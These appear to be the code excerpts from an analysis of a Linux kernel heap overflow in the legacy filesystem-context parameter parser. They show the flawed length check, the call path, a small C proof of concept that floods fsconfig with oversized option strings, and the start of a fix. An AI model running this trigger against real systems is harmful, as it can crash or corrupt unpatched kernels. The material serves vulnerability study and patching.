1
/*
2
 * Add a parameter to a legacy config.  We build up a comma-separated list of
3
 * options.
4
 */
5
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
6
{
7
  struct legacy_fs_context *ctx = fc->fs_private;
8
  unsigned int size = ctx->data_size;
9
  size_t len = 0;
10
...
11
  if (len > PAGE_SIZE - 2 - size)
12
    return invalf(fc, "VFS: Legacy: Cumulative options too large");
13
...
14
  ctx->legacy_data[size++] = ',';
15
  len = strlen(param->key);
16
  memcpy(ctx->legacy_data + size, param->key, len);
17
  size += len;
18
  if (param->type == fs_value_is_string) {
19
    ctx->legacy_data[size++] = '=';
20
    memcpy(ctx->legacy_data + size, param->string, param->size);
21
    size += param->size;
22
  }
23
  ctx->legacy_data[size] = '\0';
24
  ctx->data_size = size;
25
  ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
26
  return 0;
27
}

1
  if (len > PAGE_SIZE - 2 - size)
2
    return invalf(fc, "VFS: Legacy: Cumulative options too large");

1
const struct fs_context_operations legacy_fs_context_ops = {
2
  .free      = legacy_fs_context_free,
3
  .dup      = legacy_fs_context_dup,
4
  .parse_param    = legacy_parse_param,
5
  .parse_monolithic  = legacy_parse_monolithic,
6
  .get_tree    = legacy_get_tree,
7
  .reconfigure    = legacy_reconfigure,
8
};

1
struct fs_context {
2
  const struct fs_context_operations *ops;
3
  ...
4
};

1
/**
2
 * alloc_fs_context - Create a filesystem context.
3
 * @fs_type: The filesystem type.
4
 * @reference: The dentry from which this one derives (or NULL)
5
 * @sb_flags: Filesystem/superblock flags (SB_*)
6
 * @sb_flags_mask: Applicable members of @sb_flags
7
 * @purpose: The purpose that this configuration shall be used for.
8
 *
9
 * Open a filesystem and create a mount context.  The mount context is
10
 * initialised with the supplied flags and, if a submount/automount from
11
 * another superblock (referred to by @reference) is supplied, may have
12
 * parameters such as namespaces copied across from that superblock.
13
 */
14
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
15
              struct dentry *reference,
16
              unsigned int sb_flags,
17
              unsigned int sb_flags_mask,
18
              enum fs_context_purpose purpose)
19
{
20
  int (*init_fs_context)(struct fs_context *);
21
  struct fs_context *fc;
22
  int ret = -ENOMEM;
23

24
  fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
25
  if (!fc)
26
    return ERR_PTR(-ENOMEM);
27
...
28
  /* TODO: Make all filesystems support this unconditionally */
29
  init_fs_context = fc->fs_type->init_fs_context;
30
  if (!init_fs_context)
31
    init_fs_context = legacy_init_fs_context;
32

33
  ret = init_fs_context(fc);
34
...
35
}

1
/*
2
 * Initialise a legacy context for a filesystem that doesn't support
3
 * fs_context.
4
 */
5
static int legacy_init_fs_context(struct fs_context *fc)
6
{
7
  fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
8
  if (!fc->fs_private)
9
    return -ENOMEM;
10
  fc->ops = &legacy_fs_context_ops;
11
  return 0;
12
}

1
    fd = fsopen("ext4", FSOPEN_CLOEXEC);

1
# define _GNU_SOURCE
2
# include <sys/syscall.h>
3
# include <stdio.h>
4
# include <stdlib.h>
5
# ifndef __NR_fsconfig
6
# define __NR_fsconfig 431
7
# endif
8
# ifndef __NR_fsopen
9
# define __NR_fsopen 430
10
# endif
11
# define FSCONFIG_SET_STRING 1
12
# define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
13
# define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
14
int main ( void ) {
15
  char * val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ;
16
  int fd = 0 ;
17
  fd = fsopen( "9p" , 0 );
18
  if (fd < 0 ) {
19
    puts ( "Opening" );
20
    exit ( -1 );
21
  }
22
  for ( int i = 0 ; i < 5000 ; i++) {
23
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00" , val, 0 );
24
  }
25
  return 0 ;
26
}

1
if (len > PAGE_SIZE - 2 - size)
2
if (size + len + 2 > PAGE_SIZE)
3
  return invalf(fc, "VFS: Legacy: Cumulative options too large");
4
if (strchr(param->key, ',') ||
5
    (param->type == fs_value_is_string &&